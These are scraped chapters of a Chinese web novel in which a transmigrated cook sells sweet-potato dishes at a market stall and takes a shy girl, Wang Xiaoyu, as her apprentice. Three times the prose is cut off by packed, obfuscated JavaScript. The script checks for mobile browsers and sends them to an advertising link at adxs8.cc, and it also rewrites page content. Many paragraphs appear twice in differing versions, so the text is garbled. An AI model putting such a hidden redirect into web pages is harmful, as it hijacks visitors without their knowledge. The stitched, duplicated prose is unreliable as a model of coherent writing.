0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115105|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓜洗干净，用刀将其切成大小均匀的滚刀块。接着，她往铁锅里放入适量的猪油，往灶下添火，静静等待油温升高。 不一会儿，锅里的油开始微微冒烟，油温升高，林窈小心翼翼地将地瓜块逐个放入锅中。地瓜块触热油，激发出淡淡的香气。她用筷子轻轻翻动着地瓜，让它们在油锅里均匀受热，不一会儿，地瓜块就变成了诱人的金黄色，表皮变得酥脆，林窈将炸好的地瓜捞出，放在一旁的陶碗中备用。 在宋朝，白砂糖的生产和使用就已经得到了推广和发展，林窈记得她曾经看过，北宋时期，“江南东道十二，福州”进贡的土产里就有白糖②，在这个时代，白砂糖大概率也是王公贵族才能用得起的东西。 幸好之前拍地瓜特辑的时候，她尝试过用麦芽糖做拔丝地瓜。 锅底留少许底油，林窈放入一大勺麦芽糖，开始耐心地炒糖色。她的眼睛紧紧盯着锅中的麦芽糖，麦芽糖在小火的加热下，慢慢融化，先是变成浅黄色的糖浆，接着颜色逐渐加深，变成了琥珀色，还散发出一股香甜的气息。林窈迅速将炸好的地瓜块倒入锅中，快速翻炒，让每一块地瓜都均匀地裹上糖浆。 随着翻炒，糖浆在热气的作用下，逐渐变成了丝丝缕缕的糖丝，紧紧地缠绕在地瓜上。林窈动作娴熟，不一会儿，一盘色香味俱佳的拔丝地瓜就出锅了。 她将拔丝地瓜盛在一个盘子里，端到餐桌上，还特意准备了一碗凉水放在旁边。 “二姐口渴吗？崧儿给二姐倒热茶，阿兄说马上就要入秋了，不可喜凉。”林崧在一旁认真地说。 林窈把装着满满米饭的碗递给林诚，“二姐今日做了一个新菜，这凉水是就着新菜吃的。” 说着，林林窈夹起一块拔丝地瓜，在空中轻轻晃了晃，那细长的糖丝宛如金色的丝线，闪烁着光泽。 她将地瓜迅速放入凉水中蘸了一下，糖丝遇冷瞬间凝固。 林窈把地瓜喂到林崧嘴边，林崧条件反射地咬下地瓜，入口的瞬间就被这陌生的口感惊到了，他自然是吃过地瓜的，可是现在嘴里的地瓜脆脆的，外面的糖衣嚼起来咔嚓咔嚓的。 林窈看他吃得一脸满足，自己也夹起来一块拔丝地瓜：“阿兄也尝尝，这叫拔丝地瓜，夹起地瓜的时候，糖丝会拉得长长的，放到凉水里蘸一蘸，糖丝就变得更脆，吃起来外酥里嫩，甜滋滋的。” 林诚夹起一块地瓜，细细端详着这金黄裹身、糖丝缠绕的地瓜，放入口中咀嚼，感受着地瓜的软糯与糖衣的酥脆在舌尖碰撞，咽下后，他笑着点头称赞：“这拔丝地瓜，甜而不腻，我从未吃过这样好吃的地瓜！” 吃着甜甜的地瓜，林诚心里的郁气也渐渐消散。 爹走的时候就让他照顾娘和阿弟阿妹，如今娘已经不在了，他更是要好好照顾阿弟阿妹。如今家中的进账都是靠妹妹，他只能帮妹妹做点体力活。 想起胡氏今日的嘴脸，林诚深觉如今他们还是太弱小了，什么人都可以欺辱到他们头上，只有赚足够多的铜板，这些人才不敢随意对待他们三兄妹。 林窈吃了个肚儿圆，“阿兄，明日我们也可以卖这红薯。只是拔丝地瓜需要铁锅现做，在摊子上做很是不便，我打算做成红薯烙。” 林诚从思绪中抽回，“都听阿窈的。” 18. 红薯烙 “你个蠢货，这点小事都办不成。”林长寿伸出手指，直戳向胡氏，。 胡氏一听这话，脖子一梗，瞬间来了精神，扯着嗓子尖声反驳道：“哼，那林窈口口声声说要拉着我去见官，还有个不知哪儿冒出来的书生，要帮她写诉状呢。瞧瞧，这德行，跟她那整日卖弄风情的狐媚子娘简直一个模子刻出来的！” 每每提起弟妹贾氏，胡氏就控制不住心中的嫉恨。 在未出阁时，贾氏便是那十里八乡最清丽的小娘子。家中又独她这一个女儿，爹娘宠爱集于一身。待到及笄之年，求亲的人络绎不绝，险些没把她家的门槛给踏破。 林长寿尚未成家之际，便相中了贾氏，央告爹娘前去贾家求亲。可贾家父母只道自家女儿年纪尚小，婉言拒绝了这门亲事。这一拒，犹如一根刺，深深扎进了林长寿心里，也让胡氏，对此事耿耿于怀。 更让人没想到的是，过了两年，贾氏和林家老二，林长康，看对了眼，喜结连理。成亲后，两人如胶似漆，没多久就生了个大胖小子。 林长寿将手中茶杯重重搁下，杯盖震得“哐啷”作响，“她说见官你就怕了？成事不足败事有余！慌什么？只要咱俩咬定，这是咱老林家祖传的配方，爹娘知道了，难不成还会帮那几个小扫把星？” 胡氏闻言，身子忍不住哆嗦了一下，“官人所言极是，只是如今这事儿已然闹得沸沸扬扬，人尽皆知，再用这法子，怕是行不通了。” “这事你不用管了。”林长寿摆了摆手，浑浊的眼中透着精光。 ～ 翌日清晨。 林窈还未靠近摊位，远远便瞧见几张熟悉的面孔。人群之中，许之珩身姿挺拔，身旁跟着他的小厮，十分显眼。 “林小娘子今日可叫我们好等。”许之珩说道。 林窈赶忙放下背篓，“对不住，今日特意多备了一道新鲜吃食，耽搁了些功夫。” “竟又有新吃食？林小娘子心思这般灵巧，当真是令人赞叹。我先要两份，再要两份大份炒饭，外加一斤卤猪下水，小娘子快快做来，好让我一饱口福。”许之珩潇摇着扇子，自以为潇洒的踱步至隔壁粥铺，寻了个空位坐下，又点了两碗清粥。 旁人见许之珩这般爽快，连新吃食是什么都没问，便直接要了两份，心里也跟着蠢蠢欲动起来。不过，到底不像许之珩那般阔绰，有人犹豫片刻，开口问道：“小娘子，今儿个推出的新吃食，是何物？” “是红薯烙，两文钱一个，三文钱能买俩。”林窈一边应答，一边手脚麻利地从背篓里捧出在家中提前备好的红薯烙半成品。 “这不就是地瓜吗？这地瓜山里到处都是，怎么还要两文钱一个。”有人说道。 “我家这红薯烙可是下了糖做的，味道不一样。”一边说，林窈一边舀出一勺红薯粒放到铁板上，轻轻用铲子摊成几个红薯烙，随着温度的升高，红薯粒中的糖分渐渐融化，与红薯本身的香甜相互交融，散发出一股浓郁的甜香，直钻周围人的鼻腔。 红薯粒的边缘慢慢泛起金黄，逐渐变成诱人的焦糖色。 林窈把刚做好的红薯烙切成小块，邀请摊子前的人尝尝，“大家可以尝尝看，这是试吃，不要钱。” 林诚有点不舍得，这都是用上好的猪油、白面和麦芽糖做的，但妹妹说过，舍不孩子套不着狼。 摊子前的人本来还有些犹豫，可大家都瞧见了，林小娘子煎制红薯烙时，挖了满满一大勺猪油，更不用说里面还放了糖，这般用料，想不好吃都难。一想到这儿，大家不再迟疑，纷纷伸手。眨眼间，刚做好的红薯烙便被一抢而空。 “真香啊！” “是啊，没想到红薯也能如此好吃。” 大家你一言我一语，夸赞声此起彼伏。 趁着众人品尝红薯烙之际，林窈动作娴熟地将许之珩点的菜肴一一备好，端到他面前，“许公子，您点的菜都上齐了。这红薯烙是小店今日新推出的菜品，多送您两个，还望公子喜欢。” 许之珩起身接过林窈手中的红薯烙，“那便多谢林小娘子了。” 他刚把红薯烙放下，金玉就把它塞到了嘴里，嚼吧嚼吧就咽下了，“郎君快吃，凉了味道就不美了。”许之珩刚把红薯烙搁下，一旁的金玉便迫不及待，伸手抓起一块，塞进嘴里，一脸急切地催促，“郎君，您快些尝尝，趁着热乎劲儿才是最美的，凉了可就失了口感。” 许之珩收起折扇，恨铁不成钢地敲了一下他的脑袋，“就知道吃，也没见你把这贪吃的劲儿用在别的地方。” 因为昨日承诺降价每份吃食降价一文，今日摊位比往常热闹得多。许多平日里因价格望而却步的人，也趁着这难得的减价机会，买上一份解解馋。林诚和林窈一会切卤猪下水，一会煎饼，像陀螺一样转来转去，煎饼的铲子都要抡出火星子。 “林小娘子，我要一份‘全家福’馍馍。”一道温柔的女声，从一群扯着嗓子的大小伙子中间悠悠传出，在嘈杂喧闹里显得格外突兀。 林窈闻声，忙抬起头，“阿鱼姐姐！” 阿鱼腼腆一笑，“早听闻小娘子家的‘全家福’馍馍，滋味绝佳，阿爷馋这口许久了，特意吩咐我来买一个，好让他也尝尝鲜。” “这就给你做，我给你多加些卤猪下水。”林窈对这个容易害羞的少女很是有好感。 阿鱼有些不好意思，“那便多谢娘子了，下回我也给你多做点馍馍。” 林窈见她这么实诚，一时觉得她更可爱了。 林窈如今虽顶着一副十二岁少女的皮囊，但内里却是一个二十四岁的灵魂，导致她每每遇见十几岁的少年的时候，总会不自觉地将自己置于更为年长的视角。 正如此刻，面对眼前笑意盈盈的林窈，阿鱼心底竟涌起一丝奇异的感觉，恍惚间，觉得这小妹妹的笑容里，透着一种莫名的“慈爱”。 林窈把做好的馍馍递了过去，“不必如此客气，这也是多谢王大爷昨日帮了我们兄妹三人。” ～ 阿鱼快步走回馒头摊，“阿爷，我买回来了！” 王山望着孙女，只见她因一路快走，双颊红扑扑的，眼神里满是疼惜。他伸手接过孙女递来的馍馍，又从一旁取出小刀，动作轻将馍馍均匀分成两半，把较大的那一半递到孙女面前，“囡囡，吃。” 阿鱼咬了一大口，丰富的味道在她嘴里横冲直撞。 王山瞧着孙女吃得津津有味，不禁开口问道：“阿鱼，林小娘子摊位上的生意好吧？” 阿鱼腮帮子一鼓一鼓的，“嗯！热闹得很，围了好多人抢着买馍馍呢！我听旁边的食客唠嗑，说林小娘子今儿新推出了一道菜，叫红薯烙，大家都夸味道好，可惜排队的人太多，我没来得及买。” 王山掏出干净的帕子，递给孙女擦了擦嘴，“阿爷想让你拜她为师。” 阿鱼刚把馍馍举到嘴边，正要咬下一口，听到这话，动作瞬间僵住。她缓缓放下手中的馍馍，眼神中满是犹疑与不自信，嗫嚅道：“可……可是，她真会收下我吗？阿爷，我脑子不灵光，干啥都笨手笨脚的，要是去了，会给您丢人的，我……我怕是不行。” 王山听着孙女前言不搭后语的话，心中酸涩感瞬间弥漫开来。儿子和儿媳走得太早，留下这孤苦伶仃的孙女与他相依为命。这些年，他为撑起这个家，每日天不亮就得起身做馍馍，而后又赶忙出门摆摊挣钱，忙得脚不沾地。 如此一来，对孙女的陪伴少之又少，她常常只能独自守着空荡荡的家。长此以往，孙女性格变得愈发怯懦，寡言少语，唯有在自己面前，才稍稍自在些，一旦碰到生人，就容易紧张。 平日里，旁人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118289|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧见阿鱼，总会夸赞她温顺乖巧，日后定能成为贤妻良母。以往，王山听了这些话，心里也是欢喜的，只盼着等阿鱼再大些，便寻一户靠谱人家，将她风风光光嫁过去，往后日子，也就能安稳无忧了。 可自从结识了林窈，看着她风风火火操持生意，在市井间长袖善舞、应对自如，他心里头的想法也悄然起了变化，越发觉得女子的活法，远不止贤妻良母这一种。 他没有读过书，只知道如果阿鱼的性子太过绵软，若阿鱼能像林窈这般自立自强，或许能有另一片天地。只是他也知道，这手艺轻易不传外人，他最大的希望就是能练练孙女的性子，哪怕只是给林窈打打下手也好。 “在阿爷眼里，阿鱼是最好的。”王山拍了拍阿鱼的脑袋，“阿鱼不必担心，林小娘子是个好的，聪慧、刚强、处事周到，阿爷只希望能跟着她学学如何为人处事，若林小娘子愿意收你为徒，教你些许菜式，你也能有门手艺傍身。” 阿鱼听闻，微微抬起头，迎着王山期许的目光，轻轻点了点头，。 这边，林家三兄妹忙得团团转，就连最小的林崧都在帮忙收钱，等所有东西都卖完的时候，已经未时过半。 刚把摊位上的东西收拾整齐，林窈就看见王大爷和阿鱼站在他们的摊位边上，“王大爷，阿鱼姐姐，可是有什么事？” 王山的手心微微沁出了汗，可一想到孙女往后的日子，牙一咬，心一横，还是张嘴说了，“林小娘子，实在对不住，打扰您一下，我这儿有件事，想厚着脸皮求您帮忙。” 林窈的心里疑惑，自己一穷二白的，能帮上什么，但王大爷算是她扩大商业版图的第一个合作伙伴，能帮的她还是帮上一把，“您这折煞我了，别说求，大爷您帮了我们不少忙，有什么能帮的我们一定帮。” 林窈心中疑惑，暗自思忖自己不过是个在市井摆摊讨生活的，要钱没钱，要势没势，实在想不出能帮上什么忙，“大爷，您可千万别这么说，这话可折煞我了。自我们摆摊起，您就帮衬我们不少，若有什么事需要我搭把手，您尽管开口，只要我能做到，绝不二话。” 听到林窈这么说，王山心里的不安少了一些，“我是想求娘子你收我这孙女为徒，只需教她一两个的菜式即可，平日里娘子有什么要做的都可以使唤她。”王山自是知道今天自己说的这话有些冒犯，他当即补充道，“若是娘子不愿，要是能收她在你这做工也是极好的。” 听到林窈的回答，王山心里那股忐忑不安稍稍减轻了几分，“林小娘子，实不相瞒，我今日厚着脸皮来，是想求您收我这孙女阿鱼为徒。只需教她一两个的菜式即可，平日里，您要是有啥活计需要人手，尽管使唤她，权当是给她个历练的机会。” 话一出口，王山心里清楚，自己这请求有些唐突冒昧，生怕林窈心生不悦，于是赶忙又补充道：“要是小娘子觉着收徒一事不太方便，那能让阿鱼在您这儿谋个差事，跟着您打打下手，学习学习，也是再好不过的事。” 林窈其实早有招人打算，毕竟她一人身兼数职，脑子里还有诸多菜式想做，就算真有三头六臂，也实在难以应付。可招人就得支付工钱，以他们家目前的经济状况，着实难以负担这笔开支。但若是收徒，情况就大不一样了，一来徒弟会更上心学艺，做事稳妥可靠，二来在成本上，可比单纯雇佣人手低得多，这般一想，收徒倒成了眼下两全其美的法子。 林窈自认不是一个无私奉献的圣人，她感恩受到过的帮助，但从不感情用事。 收徒这件事可大大小，她只看人品和能力。人品欠佳之人，她生怕倾囊相授后，反遭其算计；而能力太过薄弱，毫无基础之人，她每日忙于摊位生计，实在抽不出时间，从最基础的知识和技能教起。 王大爷的人品林窈是相信的，剩下就是看阿鱼的灶上功夫如何。 19. 酸菜炒五花肉 林窈略作思忖，“大爷的意思我都懂。只是收徒绝非小事，还需从长计议。大爷与阿鱼姐姐，不如随我们兄妹三人回家，找个清净地方，再商议此事。” “好好好！”王大爷见林窈并未一口回绝，一颗悬着的心当下便落了地，忙不迭地侧身，冲王小鱼扬了扬下巴，“阿鱼，还愣着干啥，赶紧去帮林小娘子拿拿东西。”说着，他又走向林诚，伸手就要去接那扁担，“林小郎君，这一路挑着怪累的，我来搭把手！” 林诚忙侧身躲开，“大爷，使不得！您这份心意我领了，可这活儿累人，哪能让您上手。”王大爷却不依不饶，执意要搭把手，两人一来二去，较上了劲。 林窈赶忙快步上前，“大爷，您可千万别这么见外。这扁担两头的物什着实沉重，您要是闪了腰、伤了筋骨，我们兄妹心里可过意不去。” 王山听到林窈这么说，也不再坚持，他松开手，“好好好，听你们的。” ～ 回到家中，林诚把东西安置妥当，便打算带着林崧往镇上去，采买明日摆摊要用的食材。小家伙一听能去镇上玩耍，立马就不缠着林窈说话，小短腿跟在哥哥身后，屁颠屁颠地走了。 林窈带着王山爷孙到灶房坐下，给两人倒了茶水。 林家分家后，他们二房只落得三间破茅屋，实在找不出能好好待客的地方。东边的屋子，原先是原主与她母亲居住，如今成了林窈的单人房；西边则归林诚和林崧两兄弟；剩下一间则充作灶房。 林窈自回到家，就在悄悄观察王家爷孙，见他们面无异色，便开口说道：“大爷，您瞧见了，我们兄妹三人日子过得紧巴巴的，如今这小本生意，也只是勉强维持。再者，我的年龄尚小，厨艺虽说略有心得，可到底没有那些经验老到的厨娘那般炉火纯青。镇上有几位厨娘，手艺精湛，名声在外，还常年收徒，阿鱼姐姐若拜入她们门下，定能学得一身好本领。反观我这儿，实在简陋，我也怕误人子弟。” 林窈深知，在这古代，收徒往往意味着多了个免费劳力。不少师父全凭心情传授技艺，心情好时，兴许点拨一二；心情不好，徒弟就算费心伺候三年五载，也可能一无所获。但林窈不屑做这等缺德之事，她方才毫无保留地将自家的实际状况告知了王家爷孙，也是希望他们慎重思量，待考虑周全后再做定夺。 王大爷有些局促地搓了搓手，脸上带着几分憨厚的笑意，“林小娘子，不瞒你说，我送阿鱼来学厨，倒不是盼着她能学成什么大厨。” 他瞧了瞧低垂着眼睑、神色有些拘谨的孙女，微微叹了口气，缓缓说道：“阿鱼命苦，爹娘走得早，就剩我这把老骨头拉扯她长大。每天天不亮我就得起来揉面做馍馍，接着又得忙着出摊，一直忙到天黑才收摊，实在腾不出多少时间好好照看她。出摊的时候，只能把她一个人孤零零地留在家里。日子长了，这孩子性子变得太过软糯，啥事儿都不敢出头，我实在放心不下。” 王山轻轻放下手中还冒着热气的茶杯，目光诚恳地看向林窈，“林小娘子，这段日子，我可都瞧在眼里，你把家中这小摊子经营得风生水起，足见你是个聪慧能干、心中有成算的姑娘。我送阿鱼来，就盼着，你能让她跟在身边，多历练历练，把性子磨得坚毅些。”话落，他便站起身来，作势要行礼。 林窈是孤儿，从小到大，都是自己摸爬滚打，从没有人为她谋划，为她在人生路上铺就哪怕一块砖石。此刻，她望着眼前的老人，满脸沧桑，却满心只为孙女未来盘算。 他始至终，都未曾有过一丝责备孙女性格软弱的念头，满心满眼皆是因未能周全照料孙女而生的愧疚。只是身处这风雨飘摇的乱世，活命已然要拼尽全力。一个年近花甲的老人，独自拉扯孙女长大，每日为生计奔波，在码头卖馍馍，挣那微薄银钱，又怎能苛求他面面俱到，事事周全。 林窈连忙起身把王山扶起来，“使不得使不得，大爷不必如此。” 林窈与王小鱼赶忙一左一右，轻轻搀扶着王山，让他稳稳坐下。林窈神色认真，眼中透着几分坦诚，轻声说道：“大爷，您的意思我知晓。只是不瞒您说，我们家如今这日子，也仅仅是在艰难维持，勉强糊口罢了。若收了阿鱼姐姐做徒弟，以我眼下的精力，实在没法专门抽出大把时间，正儿八经地系统教她厨艺。只能先让她跟在我身边，平日里做些杂活，从最基础的入手，一点点慢慢学，您看这样成吗？” 王山忙不迭摆手，语气满是恳切：“无妨无妨，小娘子肯收下阿鱼，让她在您身旁跟着学，这便再好不过。我只盼阿鱼能跟着娘子，耳濡目染，学得您几分品行，往后也能如您这般刚强自立。要是真能如此，就算哪天我两腿一蹬，去了地下，也能闭眼安心喽。” “阿爷！”王小鱼最怕就是听到阿爷这么说，实在不敢想象没了阿爷，往后的日子该怎么熬下去。 王山拍了拍她的手，“阿爷只是说说而已。” 林窈瞧王山话都说到这个份上了，显然是铁了心要让王小鱼跟着自己，知道再推脱下去反倒显得矫情生分，便不再推多说，“阿鱼姐姐随我来，我看看姐姐灶上功夫如何。” 王小鱼看了看林窈，又转头望向王山，眼神中满是犹疑与不安。 “去吧，囡囡。”王山轻轻挥了挥手。 王小鱼手指下意识地捏紧衣角，衣角在她指尖被揉得皱巴巴的，她挪动脚步，跟在林窈身后，缓缓走进了灶房。 一进灶房，林窈便将放置在各个角落的食材一一取出，整齐摆放在案板上。她转头看向王小鱼，“阿鱼姐姐，这里的材料你随意用，做一道你最拿手的菜。” 王小鱼点了点头，开始挑选起来。 王小鱼轻点头，目光在案板上扫视起来。桌上，一大碗猪油、卤猪下水、鸡蛋、五花肉、半边野鸡肉，还有一坛子酸菜。她的目光在鸡蛋上短暂停留，炒鸡蛋这道菜她做过无数次，闭着眼都能完成，可这是拜师的考验，若只拿出这道菜，确实显得太过普通。犹豫片刻，王小鱼伸出手，拿起了五花肉与一旁酸菜。 在一旁观察的林窈挑了挑眉，她本以为阿鱼会担心把菜做坏，大概率会拣便宜的菜品做，没想到她选了五花肉，看来也是个有主意的人。 林窈站在一旁，看着王小鱼的一举一动。她本以为阿鱼或许会因害怕搞砸菜品，挑些价格低廉、容易上手的食材来做，毕竟这样即便做不好，也不至于太过浪费。可当看到王小鱼果断拿起五花肉时，林窈不禁微微挑眉，眼中闪过一丝意外与赞许。看来这姑娘并非胆小怯懦、毫无主见之人，关键时刻，敢选相对贵重的食材，想来对自己的手艺有几分底气，这倒是出乎她的意料。 王小鱼记得，去年年节的时候，阿爷买了一块五花肉回家，她用酸菜炒了五花肉，很是美味，做这道菜准没错。 王小鱼记得，去年年节时，阿爷难得买了一块五花肉回家。当时，她用自家腌制的酸菜搭配五花肉一同炒制，出锅的菜肴香气扑鼻，滋味美极了。王小鱼将五花肉置于案板之上，握住刀柄，刀起刀落间，肉片厚薄均匀。 林窈倒是被她的刀工惊艳到了，本以为这个身形纤弱的姑娘，摆弄起菜刀来或许会稍显生涩。可眼前的场景却出乎她的意料，这利落娴熟的刀工，让她不禁暗暗咋舌，心中满是惊艳。 王小鱼接着打开了酸菜的盖子，酸菜那独特的酸香气息扑鼻而来。她取出适量的咸菜，放在清水下冲洗干净，然后切成小段备用。 一切准备就绪，王小鱼往炉灶下加入柴火，蒯下一小块猪油放入锅里。 王小鱼旋即伸手，揭开了酸菜坛子的盖子，酸菜那股浓郁且独特的酸香气息，弥漫在整个灶房之中。她用筷子夹出适量的酸菜，简单清洗酸菜表面附着的盐分与杂质清洗干净。随后，把酸菜切成小段，整齐码放在一旁备用。 一切准备停当，王小鱼俯身往炉灶里添了几把柴火，紧接着，拿起油勺从猪油碗里蒯下一小块猪油，放入锅中。随着柴火熊熊燃烧，锅底温度迅速升高，她将切好的五花肉片放入锅中，煸出五花肉的油脂，伴随着热油“滋滋啦啦”的声响，五花肉变得变得金黄酥脆，香气四溢。 王小鱼将切好的咸菜段倒入锅中，酸菜的酸香与五花肉的肉香相互交融，香气像长了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123308|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指一样，勾得人馋虫都醒了。最后，王小鱼撒下了一把盐，把酸菜炒五花肉盛到了碟子上，端到林窈面前。 林窈盛出一碗饭，夹起一筷子咸菜炒五花肉送入嘴中。 五花肉经高温煸炒，焦香的油脂在齿间蔓延，肉香充斥着整个口腔。而此时，酸菜的酸香恰到好处地地中和了肉的油腻感，为这道菜增添了一抹别样的风味。酸菜爽脆的口感与五花肉的酥脆相互配合，每一口咀嚼，都能感受到富有层次的滋味。 只是，若单纯空口吃这咸菜炒五花肉，滋味着实偏咸了些，配着米饭吃倒是刚好。这其中缘由也不难理解。在寻常百姓家，日子过得紧巴巴，十天半个月都吃不上一顿肉。将肉菜做得咸些，便是为了能让这荤腥吃得更久。一口咸香的肉，足以就着咽下一大口米饭，如此一来，肉菜便可吃得慢些。 王小鱼局促地立在一旁，眼睛一眨不眨地紧盯着林窈。瞧见林窈夹起一筷子咸菜炒五花肉放入口中后，眉头微微蹙了一下，紧接着扒拉了一大口米饭，在嘴里咀嚼了许久，王小鱼的心瞬间提到了嗓子眼，紧张得心脏“砰砰”直跳，那声音大得她自己都觉得震耳欲聋，仿佛要冲破胸膛。 林窈咽下口中食物，回过神来，对上王小鱼满是忐忑与期待的目光，露出一抹笑意，“不错。” 王小鱼一听这话，瞬间喜上眉梢，原本黯淡的眼睛里瞬间迸射出明亮的光彩，嘴唇微张，结结巴巴道：“那我，我……” “嗯，你明日便来拜师吧。”林窈笑意更深，语气轻快，仿佛在宣告一件再自然不过的事。 一直候在一旁的王山，早就按捺不住满心的喜悦，满脸堆笑，忙不迭催促道：“阿鱼，还不快多谢师父！” “多谢师傅！”王小鱼激动得小脸涨得通红，声音清脆响亮，带着抑制不住的雀跃。 “不必多礼，都坐下吃饭吧，往后咱们就是一家人了。”林窈满脸笑意，边说着边伸手去端桌上的菜，打算往饭桌上摆。王小鱼见状，赶忙上前，双手稳稳地抢过菜碟，说道：“师父，我来！”林窈瞧她这急切的模样，也不好再争，只能由着她去，自己转身去唤兄长和阿弟来吃饭。 在这古代，虽讲究男女大防，可他们身处农村，没那么多繁文缛节。况且，家中条件有限，总共就只有一张大桌子，也实在腾不出地方分开坐。 林诚和林崧听到呼喊，没多耽搁，来到饭桌前，顺势坐下便开始吃饭。林窈把在摊上特意留下、准备自家人享用的炒饭端了出来，与那碟香气四溢的五花肉炒酸菜一同摆在桌上。屋内弥漫着饭菜的香气，五个人围坐在一起，吃得酣畅淋漓。 王山和王小鱼吃得尤为满足，怪道这炒饭十文钱一分都供不应求。 一顿饭吃完，天色渐晚，林窈一家将王家爷孙送至门口，挥手作别。待爷孙俩身影消失在夜色中，林诚转身看向妹妹，“阿窈，你当真收了阿鱼姑娘做徒弟？” “嗯，咱们家如今就三人，崧儿年纪还小，平日里都靠你我二人忙活，就这么挣铜板，不知要到何时才能租得起铺子。要是收个徒弟，往后也能多一个帮手。”林窈抬眼望向夜空，月色如水，洒在她的脸上。 “嗯，咱们家只有三人，崧儿年幼，平日里主要靠你我二人做活，这铜板不知要赚到猴年马月才能租得起铺子，如果收了这一个徒弟，我们也多一个帮手。”林窈看着月亮说道。 林诚回想起妹妹之前提过要在镇上开铺子的想法，本以为只是随口一说，没想到妹妹已经在心里盘算得如此周全。相较之下，想想自己这段时间做的事，实在少得可怜，不禁有些惭愧。 “如此也好，往后阿鱼姑娘跟着你打下手，我就去山里挖前些日子你带我认的那些草药，再顺道打点野鸡野兔，补贴补贴家用，也好早些在镇上把铺子开起来。”林诚心里一直惦记着上回挖草药的事，那些草药要是卖出去，可值不少铜板呢。 “好呀！日后还得仰仗阿兄多挖些草药，带着妹妹我飞黄腾达呢！”林窈嘴角上扬，半开玩笑地说道。 林诚无奈地笑了笑，轻轻点了点林窈的额头，说道：“就你嘴贫。” 20. 锅包肉 林家大房。 “当家的，我今日可是亲眼瞧见一个姑娘和老头，跟着林二家那三个丧门星一块儿回村了。你说，该不会是那叶诚打算讨媳妇了吧？”胡氏一边给林长寿斟上一杯茶，一边撇着嘴，脸上满是不屑与八卦的神色，继续絮叨道，“你瞅瞅我那苦命的儿，年纪也不小了，到现在还没讨上媳妇呢，真是愁煞人了。” “就知道絮絮叨叨，儿子讨不着媳妇，我能不心急？”林长寿皱着眉头，不耐烦地挥了挥手，端起茶杯，一口灌下，茶水的温度似乎也没能驱散他心头的烦躁，就林二家那几个丧门星，穷得叮当响，脑子进水了才会嫁过去，再说了，求亲哪有小娘子上门的道理，怕不是他们又在筹谋些什么。 胡氏听了这话，鼻子里轻轻哼了一声，反驳道：“哟，当家的，这你可就不知道了。今时不同往日，人家现在可做起生意来了。我今天特意跑去瞧了瞧，好家伙，那摊子前围得里三层外三层的，依我看呐，他们一天挣个百八十个铜板，那都不叫事儿！” “呸！就凭他们也配做生意？我看呐，他们这生意撑不了多久就得黄！”林长寿“啪”地一声放下茶杯，脸上满是阴狠，仿佛只要他这样一说，林二家的生意就会立刻垮掉。 ～ 翌日。 码头上喧嚣依旧，李大娘看着林窈收拾摊位上的东西，手中汤勺在锅里慢悠悠地搅拌，“林小娘子今日这么早收摊啊？” 林窈加快收拾的速度，口中应道：“是啊，今日家中有事，要早些回去。”不多时，兄妹三人便将摊位收拾妥当，匆匆往家中赶去。 刚到家，门外就响起了敲门声，林窈快步走到门边，打开了门。 门外正是王家爷孙。王山微微抬手，提了提手中的篮子，脸上挂着笑，“林小娘子，我带阿鱼来了。” “师父。”王小鱼在一旁行了一礼。 “快快进来。”林窈把他们引了进门。 林诚刚刚把桌子从灶屋里搬了出来，把事前准备好的物件放在桌上，又在桌子旁摆了一张椅子。林窈把爷孙两人带进屋后，便在屋前的椅子坐下了。 王小鱼从王大爷手中接过竹篮，竹篮里摆放着精心准备的束脩六礼。她小心翼翼地将竹篮置于林窈面前的石桌上，而后整了整自己有些褶皱的衣衫。 她走到林窈面前，双膝跪地，挺直脊背，双手恭敬地抱拳于胸前，额头轻触地面，行了一个标准的拜师大礼。 “师父在上，请受徒儿一拜。徒儿王小鱼，今日有幸得您应允收徒，实乃小鱼之大幸。往后定当虚心向您学习，恪守师训，绝不辜负您的教导。”王小鱼难得说了这么长一段话，声音清脆，在安静的小院中回荡。 林窈看着眼前的竹篮和跪地行礼的王小鱼，目光落在那束脩六礼之上。只见竹篮里，芹菜、莲子、红豆、红枣、桂圆、干瘦肉条整齐摆放①。 一旁的王大爷微微颔首，脸上带着欣慰的笑容，他向前走了一步，缓缓说道：“林小师父，这束脩六礼，是我们爷孙俩的一点心意，小鱼能拜您为师，是她的福气，日后就劳烦林小师傅费心教导她了。” 林窈接过篮子放在桌子上，伸出双手将她扶起，顺势把红封递到她手中，“这是我给你的拜师礼。你我年纪相仿，往后你唤我阿窈就行，不必这般拘谨。” 林窈其实没有什么心理负担，她的真实年龄比王小鱼大得多，但眼下她只是一幅十二岁女孩的模样，听一个大她三岁的人一口一个“师父”叫着，总归还是有些不自在。 但这会，看起来一向很好说话的王小鱼这会却执拗起来了，一脸认真，“那可不成，尊师重道，礼数不可废，阿鱼理当唤您一声师父。” 林窈瞧着王小鱼那股子执拗劲儿，也不再强求。她转身看向一旁的王山，“大爷，这束脩六礼我收下了。既已行此拜师礼，小鱼与我便有了师徒之缘。我虽不敢称技艺精湛，但定会将所知所学倾囊相授。望小鱼日后能刻苦钻研，在厨艺一道上有所成就。” 